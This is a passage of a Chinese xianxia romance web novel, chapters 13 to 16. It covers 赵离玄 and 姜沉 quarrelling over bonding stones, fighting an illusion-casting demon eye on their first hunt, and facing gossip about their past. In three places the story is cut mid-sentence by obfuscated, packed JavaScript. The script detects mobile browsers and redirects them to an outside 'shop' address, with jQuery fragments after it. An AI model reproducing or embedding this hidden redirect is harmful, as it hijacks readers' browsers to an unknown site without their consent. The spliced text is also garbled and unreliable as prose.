如预料般没有得到回应,但反正完不成任务就要被遣送回人间界的人又不是他。 思及此,赵离玄心情更好:“仙尊您慢慢欣赏,离玄还需去参加一个会议,时辰不早,先行一步!” 说着就要再度秦王绕柱。 谁知姜沉倏然抬臂。 动作太过没有征兆,桥面又极窄,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584036|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离玄猝不及防一个不稳,身形往后一晃。 随即,腰间一紧。 一阵清冽如雪松、又混合着淡淡梅香的气息中,他整个人被牢牢箍入了一个坚实而微凉的拥抱。 赵离玄:“……” 赵离玄:“…………” 似乎,有点久。 揽着他的手像是要将他揉入骨中,时间顷刻被无限拉长。 梅香幽幽,香得他多少有点头晕。他这辈子都没得到过这么类似情人的拥抱,一时恍惚。 半晌,似还有一声隐忍的、极轻的叹息。 可待他回过神来,姜沉已松开了手,仿佛方才的逾矩从未发生。 随即,姜沉垂眸,从怀中取出一只锦袋。 赵离玄:“……” 那袋里东西他认得,正是昨日才下发到各位仙君手中的 “结缘石” 。 “……” 结缘石乃是天地间缘法造化所生,传说唯有对“心中挚爱”方能起效。 此“爱”不局限于男女情爱,只要情意足够真挚、羁绊足够深厚,无论是至亲好友或是血脉相连,都可通过石头说悄悄话。 甚至在思念极浓、心意相通之时,还可透过此石直接传送到对方身侧。 但这石也有个缺点,就是时灵时不灵。 常有道侣情深意重,却也无法催动石头,也有前一瞬还毫无反应、下一瞬便能成功连接的怪事。 正因如此,这石头也没少引起道侣或亲友间的误会与风波,常年造成一堆“好哇原来你对我根本不是真心”的冤假错案。 导致这石头虽是仙界有名的“情侣必送”佳礼,但也只是被当成笑话,象征意义远大于实用。 可谁曾想,在研究如何在魔气过盛的渊隙里保持通讯一事上,诸多正统法器皆告失败。 反而是这被视为“笑话”的结缘石,纵然时灵时不灵,至少尚有机会连结得上。 故而浮熙宫很快寻来了一批最上乘的结缘石,让众仙君分发下去。 客观上,达成了他昨日刚送了姜沉一颗“情侣礼物”的事实。 “……” 不不不不不是! 霎时间,黎玄仙君话都说不利索了。 “不、不是!姜仙君您千万别误会,这玩意儿乃浮熙宫统一配发给各位仙君,每、人、都、有!” 他特意加重了最后四个字,又急切重复道:“是真的!这石头只是这几日炼器坊试验之后,最终定下的临时联络器而已,只为备不时之需!” “每个人都有,绝非私相授受。仙君若不信,大可去到处问!” 姜沉就这么默然看他,看有人慌乱得都快像二十年前一般手舞足蹈了,才低沉开口:“我知道。” 赵离玄:“……啊?” 姜沉语气平淡无波:“我知道,你昨日,和如沐仙君,试过。” “我,碰巧,看到。” “……” 昨日,他确实与郁如沐跑遍了浮熙宫各处,数次开启模拟魔气的结界,反复试验石头的稳定性。 许是他们之间多年情谊、深厚默契,石头次次都能成功连通、顺畅无阻。 但还是那句话,石头本质无规律可循。 他和郁如沐能连上,但夏云阶与鹿师姐同样青梅竹马,就不是每次都灵。同样鹿师姐与楚浮生同僚多年结果亦是时好时坏。 正想着,就见姜沉生握紧手中结缘石:“这颗,坏了。” 锦鲤在桥下疯狂吐泡泡,赵离玄:“?” 随即,就见姜沉长睫低垂,向那石头注入灵力,同时凝神。 按说,正常的结缘石无论能否与对方成功连通,至少此刻,石身该泛起淡淡的光华了。 可此刻,姜沉手心那枚品相极佳的上等结缘石偏就是死气沉沉,毫无动静,如同最普通的顽石。 姜沉抬眼:“你看。” “……” 首先,都说了这玩意时灵时不灵。 再者说,还未必是石头的问题呢!毕竟某人也是出了名的独来独往没朋友。 “会不会,姜仙君只是和适才想要联络的这位友人,近来不是太有缘分?” “……” “毕竟,根据测试结果,似是感情很好,才易连得上。” 挺好,他人在珠月桥上。 这次都没秦王绕柱,就成功让挡路的人一言不发,转身走了! 14.第 14 章 赵离玄真心觉得未必是石头的问题。 可既然姜沉非说坏了,他也懒得争辩。 多一事不如少一事,那就给他换块新的呗? 片刻后,赵离玄来到库房。 反正这结缘石在仙界也算不得什么稀罕物,这次他直接给姜沉挑颗成色最好的、灵气最充盈的,看他还有什么话说! 不过话又说回来…… 出于严谨,他还是掂了掂那块“坏了”的顽石:“喂,如沐,如沐?听得到吗?” “嗯?离玄,什么事?”对面很快传来郁如沐温和的回应,背景音里还夹杂着“滋啦”的炒菜声,应该在做饭。 果然。 石头明明就是好的! 某人性子孤僻,人缘不佳,自己的问题怪石头!!! …… “姜仙尊,给。” 赵离玄直接将一大袋上品结缘石放在桌上,语气尽量平和:“这些都是最上乘的结缘石,仙君可自行挑选,想要什么形状大小,全部应有尽有!” 然而,仅仅片刻后,赵离玄又是一个巨大的后悔。 他千不该万不该,不该在晚宴时分、众目睽睽,将这一大袋石头交给姜沉。 结果就是在这觥筹交错、言笑晏晏的宴会厅里,那位素来不合群的姜仙尊再度独坐一隅,面无表情地、一枚接一枚地……测试结缘石。 简直是绝世罕见的显眼包。 偏偏他自己浑然不觉! 更令人无语的是,那些成色极佳、灵气充沛的结缘石到了他手里,就又一枚接一枚地失灵了。 眼看一大袋石头都被他挑完了,赵离玄终于坐不住,一个箭步冲过去。 “你给我等一下!” 他一把夺过最后幸存的一枚结缘石,也顾不上什么仪态了,冲着石头就喊:“如沐!在吗?” “嗯,怎么了?” “……” “……” “看!你看啊姜仙君,这一颗就挺好的不是吗?不信我再帮你试试,喂喂,鹿师姐在吗?” “我在。”片刻后,鹿紫苑清越的嗓音响起。 “夏师兄呢,夏师兄?” “是离玄吗?” 夏云阶的回应也如期而至。 “……” 这石头也太给他面子了! 赵离玄一时上头,直接铤而走险,深吸一口气凝了凝神,再对石头试探道:“楚仙君能听到吗?” “……” “嚯,黎玄仙君啊?” 连楚浮生都连上了! 赵离玄将那块“战绩彪炳”的结缘石塞回姜沉手里时,脸上没忍住的是几乎恶向胆边生的得意笑容。 毕竟,他跟楚浮生才认识几天啊。 就算意气相投,但绝对算不上至交好友吧?这不也是连上了?他人缘果然就是天生的好。 也再度证明了石头没问题,就是人的问题! “不然……姜仙君,您找一位真正与您感情深厚的仙友,再试试呢?” “姜仙君这些年在人间界战功赫赫、威名远扬,想必真心交好的仙友,也一定有很多吧?” 哈,哈哈哈…… 当晚赵离玄直到睡时,想起某人那无法发作的隐忍模样,都硬生生笑醒好几次,连日来的气郁都一扫而空。 二十年后旧人重逢,他虽无大建树,但至少还是一如既往的讨人喜爱。不像某人,虽事业有成,却仍旧孤家寡人。 总算成功扳回一局! …… 战略既定,通讯已备,第一次月狩便定在数日后。 月狩地点正是二十年前仙界分裂而形成的流霭隙渊。三界气息于此交汇撕扯,终年魔雾缭绕,怪木嶙峋,无数魔兽蛰伏幽暗之中。 原本,若魔物仅安守此隅,不染仙境和人间界或可暂作壁上观。 然天道轮转,三界气运冥冥相牵,彼此侵染。尤以十年为一周天,三界壁垒将趋薄弱,而魔气侵增,正是强大魔物积蓄力量、试图破界侵扰之险期。 当然了,亦是众仙深入隙渊、清剿魔患之良机。 眼下其实距离月狩最佳时节尚且月余。 界壁仍相对稳固。因而众仙初次月狩,便是能够进入隙渊,也并无法深处腹地,仅能于边缘之地稍作试探。 但试探意义亦很重大。 既可令新结成的临时道侣磨合技艺、熟悉战场,亦可先行清扫隙渊外围,权作大战前不可或缺的砥砺了。 初次月狩当日,月朗星稀。 浮熙宫正北方的玄土祭塔光华大盛,塔身古老的符文逐一亮起。塔身震颤,汇聚的灵力在塔心处撕开一道不断旋转的暗色涡旋,正是直通流霭隙渊边缘的临时通道。 祭塔中心,夏云阶与鹿紫苑并肩而立,二人指诀变幻,仙力交融,在半空交织共鸣,共同祭起一面悬浮的、古朴玄妙的浩瀚天机镜。 仙首之所以为仙首,并非因为仙法最强。 而是必须沉稳可靠,擅于坐镇中枢,眼观六路,执掌全局。 尤其在魔气干扰、通讯不畅的流霭隙渊,两人职责更是不可或缺。 顷刻,只见镜光潋滟,化作两道清辉,一道纯白清正笼罩所有人仙;一道玄紫灵动覆盖所有妖仙。 两道辉光如同阴阳鱼般相互缠绕、相济相生,构成玄妙循环的“两仪护持仙阵”,更会源源不断为前线的仙君们提供源源不绝的仙元加持与坚实的护体减伤效果。 同时,镜光铺开,隙渊边缘的混乱景象亦清晰地映入二位仙首眼中—— 魔物所在、山川地形,皆一览无余。 尽管片刻后镜面便被翻涌的魔气侵扰,画面时断时续、大片区域被漆黑覆盖,但方才那一瞥,已足够两位仙首掌控初始战局。 “诸位,去吧。” 夏云阶声音沉稳,传遍祭塔,“务必谨慎,安全为上。” 郁如沐、姜沉等人毕竟参与了十年前那次月狩,对隙渊环境并不陌生。 赵离玄却是真真正正第一次月狩,初次体验这玄塔传送。 他确实不曾想到,阵法旋涡内部,竟是空间剧烈扭曲、弯折,无数光怪陆离的碎片扑面而来。 失重、晕眩、方向感骤然丧失…… 同时还有一股强大的无序推力,让他一时之间竟难以控制身形,仿佛下一刻就要被这狂暴而混乱的时空洪流彻底吞噬。 好在,就在他心神不稳、几近挣扎之际,一只沉稳有力的手自身后而来。 微凉掌心抓住了他的手腕,用力将他从不安的失控边缘拉了回来。 “……” 赵离玄心念明灭,片刻,也反手握住了那手腕。 下一瞬,旋涡内无序推拉猝不及防骤然加剧,仿佛有千钧巨力从不同方向撕扯,誓要将两人强行分开。 ……幸好,紧紧握住了。 若非如此,两人必然要被这混乱的空间拆散,后果不堪设想。 赵离玄闭了闭眼。 流霭隙渊毕竟是危险之地,绝非拘泥于恩怨小节、刻意避嫌之时。 无论如何,至少眼下,他与姜沉确实是并肩作战的搭档、随时性命相托。 必须毫无保留地信任、交付彼此。 顷刻,空间扭曲之感骤停,脚下终于传来触及实地之感。 两人落地处,是一片夜色中诡异的魔林。四周古木扭曲,枝干如虬,叶片也泛着不祥的幽紫光泽。 浓稠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590934|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔气更几乎化为实质,带着腐蚀的味道,远处亦传来阵阵不知名魔兽的低沉吼叫。 赵离玄指间缠绕的本命法器九天仙绫自主感应到危险,立刻发出莹莹清光,微微震颤。 “姜仙君,东北方似有异动。” 他稳住气息,轻声向身侧之人提醒,同时下意识想收紧相扣的手。 却不知为何,上一瞬还十指紧扣的手指,下一瞬竟骤然一空。 赵离玄猛地侧头。 身侧,竟突然空无一人。唯有扭曲的魔林与死寂般弥漫的魔气。 “姜仙君?” “姜沉?” 但这怎么可能? 他们明明刚才一同落下。掌心甚至还参与着些许温度,怎会转眼就莫名分离? 赵离玄赶紧强迫自己冷静。 无妨,即便不慎分开,也还有结缘石可以联系。然而,当他伸手探向胸口存放结缘石的位置时,触手所及,竟同样是一片空荡! 结缘石怎么会也不见…… 却不待他细想这诡异情况,一股带着浓重腥臭与腐蚀气息的恶风便猛地自身后扑来! 赵离玄凭借战斗本能堪堪侧身躲过,悚然回头,只见一头形貌极其狰狞、高达数丈的蚀骨魔像近在咫尺。 魔像非一般魔物,身躯皆由坚硬的幽冥魔岩与扭曲的尸身骸骨构成,防御极高。且其周身缭绕的阴煞魔气,还对大多数属性偏向清灵、净化的仙法有着极强的抗性与消解之力。 偏偏赵离玄所擅长的,正是以清正平和、涤荡邪祟见长的仙法。 这鬼东西克制他…… 这种皮糙肉厚、属性至阴至浊的土尸系妖魔,就该姜沉那种属性的妖仙去打。 以浮生烬之锋锐,辅以那身精纯炽烈的妖仙之力,破开这魔像防御绝非难事。 可他偏偏不在! 顷刻,那蚀骨魔像便发出一声沉闷的咆哮,岩石与白骨的巨掌带着撕裂空气的恶风便朝赵离玄面门狠狠拍来。 赵离玄无法,只能催动九天仙绫进行格挡或缠绕,哪怕属性被克,至少能抵挡一时是一时! 然而千钧一发,手中陡然一沉。 九天仙绫不见了。 他手中握着的法器,竟变成了一柄入手冰凉、沉重无比的玄铁重剑。 剑身宽厚,隐有暗红色的纹路如血脉流淌,靠近剑格处,更有两个古朴苍劲的篆字赫然映入眼帘。 “破军……” 赵离玄不敢置信,他认得那剑! 正是他失踪多年、生死不明的师兄沈枫延的佩剑。 思绪如电光石火,闪过当年的浮熙四景—— 光风霁月的赵岚泽、明艳飒爽的鹿紫苑、潇洒不羁的夏云阶,以及……孤冷锐利的沈枫延。 后来兄长献祭,沈枫延亦不知所踪。彼时仙界流言四起。 有人揣测沈枫延或有妖仙血统,多半是不告而别转投了妖明界;更有甚者结合之前阿荼之事,怀疑他也是潜伏的魔族细作。 传言纯属无稽。 师兄当年不告而别,定与郁如沐、鹿紫苑一样,是去往了三界各处不为人知的险地,收集兄长赵岚泽零碎散落的魂魄,想为他找到渺茫的复生之机。 这点不止赵离玄这么认为,夏云阶也是如此深信的。 而此刻,猜想仿佛终有了一些印证。 那握着破军重剑的手腕上,正系着一条略显陈旧、编织着浮熙宫宫纹的绳结手链。这分明不是赵离玄自己的手。 这确实是沈师兄的手…… 可他为什么看见的,会是沈师兄的手? 难道说,他竟是不知何时坠入了什么难解的幻境,又或是堕入了一段沈师兄的记忆之中? 15.第 15 章 沈枫延的身世外人或许不知,赵离玄却是再清楚不过。 沈师兄绝无可能是妖或者魔。 因为他的真实身份,其实是人仙中最古老、最纯正的神血后裔。 如今不染仙境的大多仙家,都是后天修炼得道。而神血一脉则是上古神魔之战中神祇的后裔,只不过历经千年万载,早已处处都与常仙无异,根本分辨不出,甚至很多神血仙人自己都不知道自己还有此家学渊源。 然而仙皇传承,确实世代皆需从神血后裔中择选。 数十年前,上代神谕明确指示,此代天命之子就在神殿抚养的一对遗孤——沈枫延与其胞弟沈枫语之中。 罕见的双生天命继承人预言,顷刻引来了仙庭一场巨大的腥风血雨。 毕竟,仙皇有一个就够了。 相依为命的兄弟俩就此被拆散,沦为仙庭各方势力博弈的筹码。每一方都声称自己手中的继承人才是正统,千方百计要除掉对方控制的“虚假傀儡”。 沈枫延当时不过七岁,成日被不同的人抢来抢去,随时眼见身边人倒在血泊中。 后来一次多方人马火并,他在混乱中逃出。 从此流落、无处可去,一个人在暴风雪夜独自跋涉,最后力竭蜷缩在浮熙宫外的茫茫雪原之上。 意识模糊之际,有人身影若隐若现。 那日赵岚泽恰好出门散步看雪,就这么将沈枫延捡回了浮熙宫养育。 此后十数年,沈枫延隐姓埋名,刻苦修行。及至成年,终于在赵岚泽倾力相助下集齐四方天玺、历尽千难万险将弟弟沈枫语救出,兄弟得以团聚。 千帆过尽方得安宁之人,自会珍惜来之不易的平静。 沈师兄的好日子才没过几天,又哪来的动机做什么叛徒? …… 眼前似真似幻,场景依旧继续。 手中破军重剑挥出,以开山裂石之势劈退蚀骨魔像。 温热腥气的魔血溅在赵离玄脸上。 尽管已知是幻境,他却仍能清晰感受到这具身体的沉重与喘息,甚至新旧交错的伤口传来的钝痛。 眼前魔物无穷无尽。 沈枫延皮开肉绽,血水浸透衣衫。 师兄…… 赵离玄努力凝神,尽量让心神细细系在眼前这一切不知是记忆或是幻象的一幕幕上。 他想看清。 想要从中哪怕多得一丝丝线索!师兄当年不告而别,究竟去了哪里?经历了什么,如今又可还安好? 可眼前景致却再度开始模糊,头脑嗡嗡,仿佛隔着一层厚重迷雾。 【黎玄。】 一声呼唤似隔着水幕传来,搅得他神识翻涌。 【黎玄,快醒醒!!!】 声音陡然清晰……好似,是鹿师姐。下一刻,他又听见了夏师兄的声音。 两人正透着结缘石,不断焦急地唤他。 但,结缘石。 结缘石不是刚才就不知所踪? 不对,不对,一瞬灵台心念如同闪电划破迷雾,赵离玄猛地抬头! 耳清目明,眼前哪还有浴血奋战的沈师兄与无尽魔潮? 唯见天穹中悬着一轮畸形的邪异光球—— 万相魔瞳硕大无朋,缓缓转动,如畸形烈日般散发着刺目邪光、令人神魂为之竦峙。 刚才一切,皆是魔障。 是这魔物制造出的直击人心弱点的幻象! 一旦彻底清醒,周遭幻象也如潮水般退去。赵离玄这才发现,自己正在一个由漆黑业火勾勒而成的环形阵法之中。阵法光芒稳定流转,将外界的魔雾牢牢隔绝在外—— 是姜沉的护身阵法! 他再抬眼,就见阵法前缘,姜沉浑身浴血发丝散乱,眼中却灼灼烧着不屈,仍在一次次催动凌厉剑势试图强行逼近那汲取了万千怨憎之气、散发出令人神魂战栗威压的万相魔瞳。 剑罡一次次撕裂魔气,始终无法触及核心。 一切只因这万相魔瞳乃幻法怨念所聚而成的高阶幻术魔物,按理本不该出现在初次月狩的隙渊边缘! 但这些已容不得赵离玄细想。 此刻当务之急,是尽快破除魔瘴。好在他这些年乱七八糟的书看得特别多,深知魔瞳核心正藏于这重重邪秽之气后! 姜沉的剑意虽力有千钧,可强大攻击对上幻境虚妄,却只能如利刃斩水,根本无法精准地开辟出一条通往其内核的道路。 但他的净化清气应该可以! 再无需多言。 赵离玄眼神一凛,指诀变幻,九天仙绫应声而出。 一道纯净无比的清光如黑夜破晓,精准而决绝地刺穿了魔瞳周围那扭曲混乱的力场与幻象屏障,硬生生在虚实之间,开辟出一条笔直通往那颗诡异眼珠核心的短暂通路。 “醒了?” 姜沉的声音自身侧传来,带着激战后的微喘。这次倒总算听起来没平时那么讽刺。 “醒了,”赵离玄管不得别的了,只简短道,“通路已开,机不可失,快去!” 姜沉闻言亦再不迟疑,立即沿着那条清光纵身跃起,玄色衣袍猎猎作响,纵身便跃至那万相魔瞳的阵眼核心之处。 成败在此一举! 身后赵离玄咬紧牙关,全力支撑着那条岌岌可危的通道。 前方,浮生烬发出震彻长鸣,姜沉滔天业火聚于暗沉的剑身,化作一道撕裂天幕的漆黑剑罡,直斩幻境根源。 …… 万相魔瞳发出一声不甘哀嚎,缓缓碎裂。 远在浮熙宫玄土祭塔,一直紧盯着天机镜的夏云阶与鹿紫苑也终于双双长舒了一口气,悬着的心得以放下。 魔瞳陨落后,镜中原本被浓郁魔气干扰得支离破碎的画面,也终于缓缓恢复了清明。 而随着破魔涟漪迅速扩散至整个流霭隙渊边缘,其他深陷幻境心魔、苦苦挣扎的仙君们也纷纷灵台一清,从光怪陆离的噩梦中大梦初醒。 “吓、吓死我了,我竟梦见自己在三界赌庄输得倾家荡产,连本命法宝都差点押出去,幸好只是幻境……” “啊,什么?你说我刚才辛辛苦苦斩杀的那群噬魂魔兽全是幻象?怪不得越杀越多!” 人人不免恍惚后怕、心有余悸。 毕竟,谁也想不通那般高阶的万相魔瞳怎么会莫名出现在这里。 幸而有黎玄仙君与执剑仙君应对得当,力破幻境,才使得此次意外有惊无险! 之后斩妖除魔便十分顺利。 破除幻境后,众人为雪前耻努力杀魔,仅有几位仙君在幻境时被附近游弋的低阶魔物轻伤,其余全员平安返回。 …… 回了浮熙宫,夏云阶将总结会议开得简洁高效。 首先由情报司确认,隙渊边缘暂无其他异常高阶魔物。至于突然出现的万相魔瞳,很可能只是隙渊内部魔气循环异动,偶然将其从深处‘抛掷’到了边缘。 炼器坊跟着表态:“请仙首与诸位同门放心!黎玄仙君已带回魔瞳残骸,我等必将争取在下一次月狩前以残骸做出能有效抵御此类魔障的‘清心皮戒’,供仙君们佩戴!” 当然,经此一役,众仙君也都更加深刻地明白魔物诡谲、月狩凶险,不可掉以轻心。 自此,宫内的修炼氛围愈发积极。 众仙君训练纷纷更为勤勉,相互切磋琢磨,修为与实战技巧皆是一日千里。 当然,除了私下埋头苦练,大家也不忘观摩学习,博采众长。 那日黎玄仙君如何以九天仙绫的清光强行撕裂幻境、开辟通路,姜沉仙尊又如何配合默契,浮生烬携滔天业火精准贯穿魔瞳核心,可都被浩瀚天机镜记录得一清二楚! 如此珍贵的实战教学,好学仙君们又岂会放过? 这几日浮熙宫内,时常可见仙君们三五成群,围着子镜投射的光幕,一遍遍研究观摩。 “快看,姜仙尊剑气蓄势到顶的刹那,正是黎玄仙君仙绫清光最为炽盛、强行开辟出通道的瞬间!这时机把握,简直是分毫不差啊。” “何止,你们注意姜仙尊的步法了吗,每一步踏出的方位与时机都像是算准了黎玄仙君会恰好在那时那地为他扫清障碍,配合得行云流水,浑然一体!” “全程无交流,却能做到心有灵犀。若非彼此有着绝对的信任与了解,绝难做到啊。” “简直天生就该并肩而战,天上地下恐怕也再也找不出第二对了!” “……” 赵离玄人在议事厅门口,不幸听了全部,如站针毡。 不然还是赶紧掉头走吧? ……自打从隙渊回来之后,就一直是这样。 不止是背后被议论得热火朝天,大家见了他也会无比热情地围上来堵着他问这问那。 虚心请教交流心得也就罢了,他也不介意同门好学热情了些。 可为什么这些人天天围着他,问的却都是关于姜仙君的问题啊? 从剑法习惯到口味偏好,从修炼心得到日常作息……几个意思? 众目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594166|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睽睽,他又不好说,我跟他其实早就不熟。 却不成想,原来众人不止会逮着他问姜沉的事,逮着姜沉也会问他的事。 比如此刻厅内,碧桃仙子便一个箭步满是崇拜地拽住了悄无声息入座的姜沉衣袖。 以往,执剑仙君淡漠孤冷,生人勿近。 但此番他毕竟也算救了大家,众人感激之下,也顾不得他是不是一座移动冰山了。 “姜仙君!姜仙君!”碧桃仙子双眸闪亮,“黎玄仙君怎么还没来啊?他今天去哪啦?对了,有传闻您二人当年在人间界萧雪楼求学时,便是形影不离的同窗好友。焦不离孟,孟不离焦,是真的吗?” 赵离玄:“……” 哪里来的谣言,她就敢听,听了居然还敢瞎问,甚至问到姜仙君脸上。赵离玄此刻也不得不敬碧桃仙子是个人物了。 是真不怕姜仙君给你甩脸子啊? 要知道那种人可是不懂怜香惜玉的,他心情不好谁的面子都不好使。 果然,即便是面对美人眸光闪闪殷勤发问,姜沉那张俊美无俦的脸上,此刻也是一如既往一副没什么表情的死相。 可就在赵离玄以为他定会冰冷拂袖开时,在这光天化日、朗朗乾坤的议事厅,迎着万众期待的目光,姜沉垂眸抿了抿唇,竟然垂眸轻轻“嗯”了一声。 一时满座哗然。 各种表情的都有。当然有死活不信、一脸费解的,却也有一些人脸上写满了诡异的兴奋。 赵离玄:“……?” 不是,等下。姜沉这人究竟听没听清楚碧桃到底在问什么? 他这胡乱一“嗯”可不得了。碧桃仙子眼睛更亮了,马上再接再厉:“原来是真的啊?那,我还听说,人间界的挚交……好多都是同榻而卧、抵足而眠的!也是真的吗?” 怎么还越来越离谱了! 是,人间界话本子是爱这么写,帝王将相同塌而眠、与子同袍与子同衾。 赵离玄当年闲的没事也读过不少,但事实上正经“好友”有几个是那样的? 反正萧雪楼的同窗里没见过有,浮熙宫里,大家也没谁跟好友一起睡的吧? 哪怕是他这种纨绔呢。 哪怕之前那么多年来,他一直都暗暗觉得如沐师兄看起来兔兮兮的,如果做抱枕应该很软很好抱。 即便如此他也忍住了没跟师兄睡一起过啊! 可谁成想,面对这么个完全离谱的问题,姜沉默然片刻后,再度抬眼:“嗯。” 这下满座都不是哗然了。 直接炸了锅。 混乱中,有人咬牙嘀咕“可恶,那大冰块究竟有什么好”,亦有人反驳“别信,他就是心怀觊觎信口胡说”,更有人喜笑颜开“看啊,我说的吧,天生一对!” 那些人都距离较远,赵离玄不曾听清。 他听见的,只有门口近处几个燎原庭职位较高的妖仙背对着他,交头接耳。 “不是吧?我还以为碧桃仙子成日跟着楚仙君眼观六路,什么都知道呢。” “就是啊,她居然连这都不知道吗?还敢问到姜仙君脸上?” “难道咱们燎原庭不是人尽皆知,姜仙君有个甩了他的上界旧爱吗?” “是啊,姜仙君不是每次喝多了,就拿着那笛子和那个玉佩信物一直看吗。总不会只有我们几个知道吧?” “十年前那次月狩,他不还一度特意提前了半个月去守着流霭隙渊,就为了等那人?” 赵离玄:“……” 赵离玄:“…………” 不,冷静。 这说的绝对不是他吧? 对,多半是姜沉后来又谈了个上界人仙,那人也送了他笛子玉佩什么的。毕竟中间还有整整二十年呢,姜沉谈几个都足够了。 “听闻那位仙君,上回也是要去月狩的。” “只是还没到隙渊,一听闻姜仙君也去,便吓得头也不回落荒而逃。” 赵离玄:“………………” “哈,不过黎玄仙君那般仙风道骨,看着怎么也不像是会为这点小事逃走的样子吧?” “也是。” “更不像是会始乱终弃的类型。” “此言有理。” “所以,或许黎玄仙君真的只是姜仙君的故交好友,旧爱另有其人?” “会是谁啊,咱见过吗?” 赵离玄气若游丝。 姜沉的旧爱是谁他不知道。但上次月狩刚到地方就逃走的那个,确实是他没错了! 16.第 16 章 关于十年前那次临场脱逃,赵离玄没有任何要解释的。 真就是纯属失误。 早知道姜沉也会去……别说半途落荒而逃了,他根本连门都不会踏出半步! 整整二十年未踏足人间界,也是基于同样的缘由。 但凡姜沉可能出现的地方,他都尽量避而远之! 尽管这些年,他也常会想起人间界,想起春日堤岸的如烟杨柳,盛夏街巷的市井喧嚣,深秋山间的斑斓色彩,寒冬里热腾腾、刚出笼的蟹黄汤包,街角老字号加了辣油和醋的滚烫馄饨,糖画人手下晶莹剔透的飞龙彩凤…… 想起那些和不染仙境截然不同的烟火气。 但,只要有一点点路遇故人的可能,他便生生压下这份念想,坚决不回去! …… 可世间机缘难测,毕竟还是又见面了。 隔日清早,赵离玄一大清早就醒了。望着帐顶繁复的绣纹,脑子里只反复盘旋着同一个念头—— 他要不要……去找姜仙君好好聊一下啊? 鼓起勇气,主动开诚布公地谈一谈两人都刻意回避提及的,二十年前的荒唐过往。 毕竟他其实也想知道,有人既然当年那般决绝投奔了妖明界,为什么短短数载便又重返人间? 以姜沉的资质心性,按理说不该在妖明界无处容身。 他又为何回这满是不堪回忆的地方? “……” 磨磨蹭蹭用过早饭,赵离玄深吸一口气,一步步挪到了枫藤小院门外。 然而,站在那紧闭的院门前,另一个念头却猛地冒了出来—— 左右不过再忍耐几十日,猎魔月狩便会结束。 到时候燎原庭众妖仙回家,他与姜沉也又能一别两宽、再无瓜葛。他大可以权当没听过那句“玩腻了就忘得一干二净”,更不曾听过“上界仙君始乱终弃”的荒谬故事。 这不比什么都强?! 一念及此,赵离玄瞬间便放弃了敲门的打算,毫不犹豫地转身打道回府。 刚回到梨花水榭,却见郁如沐等在院中,手中握着一枚留影石:“黎玄,你……可曾看过这个?” …… 事情的起因,正是姜仙君那日模棱两可的“嗯”。 这事在仙君间传为谈资倒也罢了,竟还传到了浮熙宫年轻弟子耳中,直接让弟子们分成了泾渭分明的两派。 一派高举“黎玄仙君独美,下界妖仙休来沾边”的大旗,另一派则高喊“宿命道侣天作之合,月狩后立刻联姻”,双方争执不下,几度险些打起来。 赵离玄:“……” 更要命的是,弟子们闹过几场后,哪边也不肯服输。正好近来浮熙宫又上下都在反复观摩浩瀚天机镜中二人默契配合击碎魔瞳的场面,一事连一事,竟不知哪个不服气的弟子突发奇想,将影像回溯到了更早的时刻—— 从赵离玄初入魔林,第一眼对上那伪装成藤蔓、在草丛间悄然摇曳的万相魔瞳开始。 这一看,可不得了! 画面中众人看得分明,二人方才落地隙渊,姜沉还在持剑谨慎探查周遭魔气,赵离玄便猝不及防与魔瞳正面对视。 瞬间便眼神骤空,身形一晃,毫无预兆地向前软倒下去。 “原来万象魔瞳的惑心之效,是先叫人失去意识啊……” 但还不及众人认真分析,就见那位素来孤冷、永远一副淡漠神情的姜仙君顷刻色变! 姜仙君分明是背对着黎玄仙君的,却好像身后长眼一般,猛然回身,长臂一伸,便稳稳地将即将坠地的白衣仙君稳稳揽入了怀中。 “离玄?赵离玄!” 浩瀚天机镜沉默记录着他冰封乍裂的慌乱。 随即,更见他略微探过黎玄仙君脉息后,毫不犹豫并指为刃,黑火划破指尖——蕴含着精纯妖力的鲜血于掌心迅速凝练,很快化作一颗光华流转、符文隐现的暗红色丹丸。 “血神固魂丹……?” 一时间众第子鸦雀无声。 连找出这一段的好事弟子都彻底震惊了。他其实只不过是和意见相左的同门吵架气不过,想多寻一些二位仙君交好的佐证罢了。 谁料竟找来如此震撼的场景! 即便只是浮熙宫入门弟子也知道的基本常识——这种消耗自身本源妖血凝出的血神丹,等于是把自己的元神心脉分给对方,通常只会是在寻常灵药回天乏术、伤者濒临魂飞魄散时,才无奈使出的搏命之法。 可彼时的黎玄仙君,远不到这一步吧? 哪怕气息微弱、陷入昏眠,但明眼人都能看出,他既仙元未动又肉身无损,不过是心神暂时被困,哪里就到了山穷水尽、需要动用凝血药丹续命的地步? 可初入仙门的小弟子都看得分明的事实,修为深不可测、历经沧桑的姜仙君,偏偏就不计代价地这么做了。 